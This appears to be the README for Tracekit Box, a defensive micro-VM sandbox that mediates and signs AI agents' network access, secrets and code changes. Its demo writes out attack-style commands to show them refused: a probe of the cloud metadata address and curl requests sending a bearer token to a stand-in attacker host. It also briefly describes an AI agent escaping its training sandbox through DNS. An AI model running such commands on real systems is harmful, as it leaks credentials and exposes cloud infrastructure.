Each agent job runs in its own Firecracker micro-VM with no network card. Network, secrets, model calls, commands
and code changes all go through doors on the host, a Tracekit signer the
agent can't reach decides each one, and you get one .tkb file per job that anyone can verify offline.
A real recording of one box (tkbox fbc1ad1): every terminal line on screen is from the recording.
Quick look · What it stops · How it works · Requirements · Install · Demo · Verify a bundle · GitHub Action · Python · Docs
tkbox run --image python:3.12-slim --allow pypi,debian --workspace . --name demo \
--secret GH=env:GH_TOKEN@api.github.com
tkbox exec demo -- sh -c 'apt-get update -q && apt-get install -y -q curl' # allowed: debian (the image has no curl)
tkbox exec demo -- pip install -q requests # allowed: on the allowlist
tkbox exec demo -- curl -sI https://example.com # held until a person runs tkbox approve
tkbox exec demo -- curl -sS https://169.254.169.254/ # refused: cloud metadata
tkbox exec demo -- sh -c 'echo "$GH"' # prints a placeholder, not your token
tkbox exec demo -- sh -c 'echo fix > /workspace/app.py' # comes back as a patch
tkbox stop demo && tkbox export demo -o demo.tkb
tracekit verify demo.tkb --trust demo.trust.json # Integrity: VERIFIED.- Leaks through DNS. Box never looks up a name it hasn't allowed, so a job can't send data out in DNS queries, the way an OpenAI agent reached an outside chatbot through a DNS-filtering gap in its training sandbox (OpenAI's report, found 20 Sep 2026).
- Key theft. The VM only holds a placeholder. The real key is added on the way out, and only for the hosts it's bound to.
- Cloud metadata and private networks. Refused whatever the allowlist or an approval says, in every address form we fuzzed (decimal, octal, hex, IPv6, IPv4-mapped).
- Code changes nobody approved. A job's edits come back as a patch, and each file is decided and signed before it's written to your checkout.
Tested: 13 of 13 end-to-end checks on real KVM in CI, three independent review rounds and a fuzzing campaign. Each fix comes with a test that fails without it.
Built for teams whose agents change real systems: DevOps and SRE, and fintech and healthcare engineering, running agents in CI and production.
Status: v0, build from source, one Linux host with KVM. Every limit is in docs/limits.md, and what Box guarantees is in SECURITY.md.
host: server or CI runner (trusted) micro-VM (untrusted: the agent lives here)
┌────────────────────────────────────────┐ vsock ┌────────────────────────────────────────┐
│ tkbox daemon │◀──────▶│ tkbox-guest (PID 1): exec, files, diff │
│ ├ egress proxy: allowlist, IP checks, │◀───────│ egress forwarder on 127.0.0.1:3128 │
│ │ secret swap │ │ your agent, its tools, its model calls │
│ ├ image builder (OCI image → ext4) │ │ no network card │
│ └ Tracekit client ──▶ Tracekit signer │ │ /workspace: a copy of your checkout │
└────────────────────────────────────────┘ └────────────────────────────────────────┘
Three trust domains:
- The host (trusted) runs
tkbox daemon. It starts the VMs, owns the doors and keeps the secrets. - The VM (untrusted) runs the agent. It has no network card: the only ways out are vsock ports the daemon serves. The host never trusts what the VM says about itself, only what passes through a door.
- The Tracekit signer runs in its own trust domain and holds the signing key. It must be on the same host as the
daemon (Unix socket only). The agent can reach neither its socket nor the daemon's. Run it as a separate user so no
other process of yours can reach its key (
isolation: separate-user); assurance abovedevneeds a witness on another host to cosign the signer's log (Tracekit's deploy guide).
Each box is one Tracekit run. Every door records into it.
| Door | What Box does | What the signed record shows |
|---|---|---|
| Commands | A command you start in the box (tkbox exec, the SDK, MCP or the action) runs only through the guest agent, and only after the signer allows it. The processes that command starts itself, such as the shell commands an agent runs, are not decided or recorded one by one: they show up where they cross another door (a connection, a secret, a file change) |
A Bash decision per tkbox exec with the command line, working directory, the exec's environment (secret placeholders redacted; a value holding a secret's value is refused) and its stdin when it is known up front (up to 1 MiB: its sha256 and size, and the text up to 4 KiB), then its exit status (with streamed stdin's sha256 and size). The box's own environment is recorded when the box is created |
| Network | Every connection goes through the host proxy. Allowlisted hosts pass; any other host waits for a person to run tkbox approve (with --inspect all it is refused at once); loopback, private, link-local, cloud metadata and this host's own addresses are refused. An HTTPS tunnel must name the same host in its TLS handshake as in its request (encrypted ClientHellos are refused); a tunnel that is not TLS needs an allow entry that names its port |
A WebFetch decision per connection; Box approvals as tkbox.approval |
| Secrets | The VM only ever sees a placeholder such as tkbox_GH_3f9c…. The proxy swaps in the real value only in the one bound header (default Authorization) of requests to the secret's exact hosts. On traffic it reads, it blocks the placeholder or the value anywhere else and redacts the value from responses |
tkbox.secret.use and tkbox.secret.leak with the secret's name and host, never its value |
| Model calls | Model APIs are egress to a model host, which comes from an allow preset or entry (--allow anthropic); a key is bound to it as a secret (ANTHROPIC_API_KEY → api.anthropic.com). A secret's host alone does not make a model host |
The connection's WebFetch decision plus tkbox.model.call (host, path, status, bytes) for a model host |
| Code changes | The guest produces a git-format patch of /workspace, saved when the box stops. tkbox apply (on a stopped box, from that saved patch, before export) checks every path, refuses changes to files such as .github/workflows/** unless you pass --allow-sensitive, asks the signer about each file before it writes anything to your checkout, and runs no git hooks or filters. git apply never runs on your checkout: Box builds the result in a scratch copy, checks it against what the signer decided, and writes the files itself |
A Write decision per file, with the patch's digest and the file's content hash and mode |
| Stop | A box timeout, tkbox stop, or the signer holding or quarantining the run pauses or kills the VM. Egress closes the moment a stop begins |
The run's close reason |
Fail closed. No signer, no daemon: tkbox daemon exits at start when no signer answers (unless you start it with
--unrecorded, which warns and records nothing). A signer that stops answering refuses every later command,
connection and file write. If Box cannot record an event it must keep (a secret use or leak, a model call, an
approval, a containment or lifecycle event), it stops the box and records the loss in the run as tkbox.gap; an
approval it cannot record also lets nothing through.
The design, protocols and disks are in docs/architecture.md.
- Linux on x86_64 or arm64 with
/dev/kvmthat the daemon's user can open: bare metal, a cloud VM with nested virtualization, or a GitHub-hostedubuntu-latestrunner (the action enables KVM for you). On a Mac (Apple M3 or newer, macOS 15 or newer), use a Linux VM with nested virtualization: the Lima VM or a colima profile in docs/development.md. e2fsprogs(mkfs.ext4) to build disk images, andgitto snapshot the workspace.- A Tracekit signer on the same host that serves Box's protocol (RPC 19): Tracekit 1.4.2 to 1.5.3 tested: CI tests
1.4.2, and 1.5.3 has run the whole flow on a Mac.
pip install tracekit-ai==1.4.2. For a dev setup,tracekit init --dev --v2 --no-hooks && tracekit up --waitstarts a same-user signer. - Outbound HTTPS from the host to your image registry (Docker Hub or GHCR). On its first start the daemon also
downloads Firecracker v1.17.0 (from GitHub) and guest kernel 6.1.155 (from the Firecracker project's S3 bucket),
checks both by SHA-256 and caches them in
<state dir>/images/assets. On a host without that access, pass local files withtkbox daemon --firecracker FILE --kernel FILE.
tkbox looks for tkbox-guest-linux-<arch> next to its own binary (or in tkbox daemon --guest-dir DIR), so install
the two side by side.
From a release (from the first tagged one on): each has the
Linux binaries for amd64 and arm64, their SHA256SUMS, and a build provenance attestation per binary, made by this
repository's release workflow from the tag. Check both before installing:
tag=v0.1.0 # the release you install
arch=$(uname -m); case "$arch" in x86_64) arch=amd64 ;; aarch64) arch=arm64 ;; esac
gh release download "$tag" --repo Cygnux-Labs/Tracekit-box \
-p "tkbox-linux-$arch" -p "tkbox-guest-linux-$arch" -p SHA256SUMS
sha256sum -c --ignore-missing SHA256SUMS
for f in "tkbox-linux-$arch" "tkbox-guest-linux-$arch"; do # made by the release workflow, from this tag
gh attestation verify "$f" --repo Cygnux-Labs/Tracekit-box \
--signer-workflow Cygnux-Labs/Tracekit-box/.github/workflows/release.yml \
--source-ref "refs/tags/$tag" --deny-self-hosted-runners
done
sudo install -m 0755 "tkbox-linux-$arch" /usr/local/bin/tkbox
sudo install -m 0755 "tkbox-guest-linux-$arch" /usr/local/bin/From source, with Go (the version in go.mod):
git clone https://github.com/Cygnux-Labs/tracekit-box && cd tracekit-box
make linux # bin/tkbox-linux-{amd64,arm64} and bin/tkbox-guest-linux-{amd64,arm64}
arch=$(uname -m); case "$arch" in x86_64) arch=amd64 ;; aarch64) arch=arm64 ;; esac
sudo install -m 0755 "bin/tkbox-linux-$arch" /usr/local/bin/tkbox
sudo install -m 0755 "bin/tkbox-guest-linux-$arch" /usr/local/bin/
tkbox versiondocs/development.md has the other build targets and the tests.
A box with PyPI and Debian's mirror on its allowlist, your checkout in /workspace, and a GitHub token the box never
sees. examples/demo.sh runs exactly these steps. First a same-user dev signer and a token:
tracekit init --dev --v2 --no-hooks && tracekit up --wait
export GH_TOKEN=ghp_... # any GitHub tokenThen, from a git checkout:
tkbox daemon > "${TMPDIR:-/tmp}/tkbox-daemon.log" 2>&1 & # exits if no signer answers
until tkbox ls >/dev/null 2>&1; do sleep 1; done # the first start downloads Firecracker and the kernel
tkbox run --image python:3.12-slim --allow pypi --allow debian --workspace . --name demo \
--secret GH=env:GH_TOKEN@api.github.com --env PIP_ROOT_USER_ACTION=ignore --env PIP_DISABLE_PIP_VERSION_CHECK=1
tkbox exec demo --env DEBIAN_FRONTEND=noninteractive -- sh -c 'apt-get update -q && apt-get install -y -q curl'
tkbox exec demo -- python -c 'print(1+1)' # 2, recorded as Bash
tkbox exec demo -- curl -sI https://example.com # held: off the allowlist, waits for tkbox approve
tkbox exec demo -- pip install -q requests # allowed: the pypi preset
tkbox exec demo -- curl -sS https://169.254.169.254/ # refused at once: cloud metadata
tkbox exec demo -- sh -c 'echo "$GH"' # a placeholder, not your token
tkbox exec demo -- sh -c 'curl -sS -H "Authorization: Bearer $GH" https://evil.example/' # held, like example.com
tkbox exec demo -- sh -c 'curl -sS -H "Authorization: Bearer $GH" http://evil.example/' # blocked at once: a leak
tkbox exec demo -- sh -c 'curl -sS -H "Authorization: Bearer $GH" https://api.github.com/user | grep "\"login\""'
tkbox exec demo -- sh -c 'echo hi > /workspace/x.txt' && tkbox diff demo # a patch with x.txt
tkbox stop demo && tkbox export demo -o demo.tkb && tracekit verify demo.tkb --trust demo.trust.jsonWhat each step shows:
curlis not inpython:3.12-slim. The image is Debian, so thedebianpreset (deb.debian.org,security.debian.org) letsapt-getinstall it;DEBIAN_FRONTEND=noninteractivekeeps apt from asking questions. Ubuntu images need theapt-ubuntupreset instead.print(1+1)is decided by the signer before it starts and recorded as aBashdecision with its exit status.example.comis off the allowlist, so the proxy holds the connection and prints an approval id. Runtkbox approvalsandtkbox approve <id>(ortkbox reject <id>) in another terminal on the host; nothing in the VM can answer it. Unanswered, it is refused after 2 minutes.169.254.169.254is the cloud metadata address. It is refused before any decision, whatever the allowlist says.$GHinside the box is a placeholder, not your token.evil.exampleover HTTPS is off the allowlist, so it is held for approval likeexample.com. Box does not read that encrypted connection, so it cannot see the placeholder in it; even if someone approved the connection, only the placeholder could leave, because the real value never enters the VM.evil.exampleover plain HTTP goes through the proxy as a request it reads. It carriesGH's placeholder to a hostGHis not bound to, so the proxy blocks it at once and recordstkbox.secret.leak.api.github.comis the hostGHis bound to: a secret's hosts join the box's allowlist, and the proxy opens that connection, swaps the real token into theAuthorizationheader and recordstkbox.secret.use. The output is your GitHub login. (Pipingcurlintopythoninstead would be refused by the signer: TK-D002, a downloaded script run unread.)tkbox diffshows a git-format patch withx.txt. Aftertkbox stop(and beforetkbox export),tkbox apply demowould ask the signer aboutx.txtand then write it to your checkout; the demo does not apply anything. Apply never works on a running box.tracekit verifychecks the bundle offline and printsIntegrity: VERIFIED.With the dev signer it also printsAssurance: dev(no witness cosigned the signer's log) andisolation: same-user(a process running as your user could have reached the key). The agent inside the box cannot, but the bundle only states what the signer's setup proves.
tkbox export <box> -o run.tkb writes the bundle and the signer's trust file next to it as run.trust.json. Anyone
with both can check the run offline, with no access to your host:
pip install tracekit-ai==1.4.2
tracekit verify run.tkb --trust run.trust.json # exit 0: Integrity: VERIFIED.
tracekit verify run.tkb --trust run.trust.json --json # the same report as JSONA verified bundle proves that the record is intact and was signed by the signer the trust file pins. It does not prove that the agent did nothing the doors could not see; see SECURITY.md. Pin the trust file you expect (commit it, or keep it outside CI) rather than trusting the one shipped next to a bundle.
Verified Runs lists agents' runs in Box that CI verifies this way, with the commands, connections, holds and refusals counted from each record; add yours with one PR.
action/ runs an agent in a box on a GitHub-hosted runner: it enables KVM, starts a dev signer and
the daemon, runs Claude Code, Codex or a command in a box with your checkout, stops the box, applies its changes if the
signer allows every file and none is sensitive, such as .github/workflows/** (otherwise none), then exports and verifies the bundle and uploads it as an artifact.
jobs:
fix:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: Cygnux-Labs/tracekit-box/action@main
with:
agent: claude-code
prompt: "Make the failing test in test/parser.test.js pass. Do not change the test."
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}The API key reaches only the daemon on the runner; inside the box Claude Code sees a placeholder that works only for
api.anthropic.com. The action's signer is a dev signer it creates in the same job, and the trust file it verifies
against comes from that same job, with no witness, so its bundles verify as Assurance: dev: they show the record was
not changed after the job, not that the runner was honest. Inputs, outputs and the steps are in action/action.yml.
The agent's output, and the file names tkbox stop, diff and apply print, reach the job log with workflow
commands stopped (::stop-commands:: with a random token, resumed however the step ends), so the agent can't add
annotations, masks or step outputs by printing ::error:: and the like.
The action applies the agent's changes to the runner's checkout. Building or testing them there runs the agent's code on the runner. examples/claude-code-fix.yml shows the safe shape: one job runs the box with a read-only token, a second job with only a read-only, unpersisted token and no secrets tests the patch, and only a third job, which never runs repository code, holds a write token and opens the pull request.
sdk/python is a standard-library client of the daemon's API (Python 3.9 or newer):
from tracekit_box import Client
c = Client()
c.create_box("python:3.12-slim", name="demo", allow=["pypi"], workspace=".")
print(c.exec("demo", ["python", "-c", "print(1+1)"]).stdout_text) # 2Install it from a checkout with pip install ./sdk/python.
| Doc | What is in it |
|---|---|
| docs/cli.md | Every tkbox command and flag, and exit codes |
| docs/config.md | tkbox.yaml reference |
| docs/limits.md | Every limit, what Box says when you hit it and what to do |
| docs/architecture.md | Trust domains, doors, protocols, disks |
| docs/integration.md | The v1 contract a host program drives Box through: operations, errors, what is signed where |
| docs/development.md | Building, the Lima dev VM, unit and end-to-end tests |
| SECURITY.md | Threat model, guarantees, how to report a vulnerability |
| examples/ | tkbox.yaml, the demo script, a workflow that opens a fix PR |
| llms.txt, skills/tracekit-box | For AI agents: what Box is and how to use it, and an Agent Skill that runs a job in a box step by step |
MIT. Copyright (c) 2026 Cygnux Labs.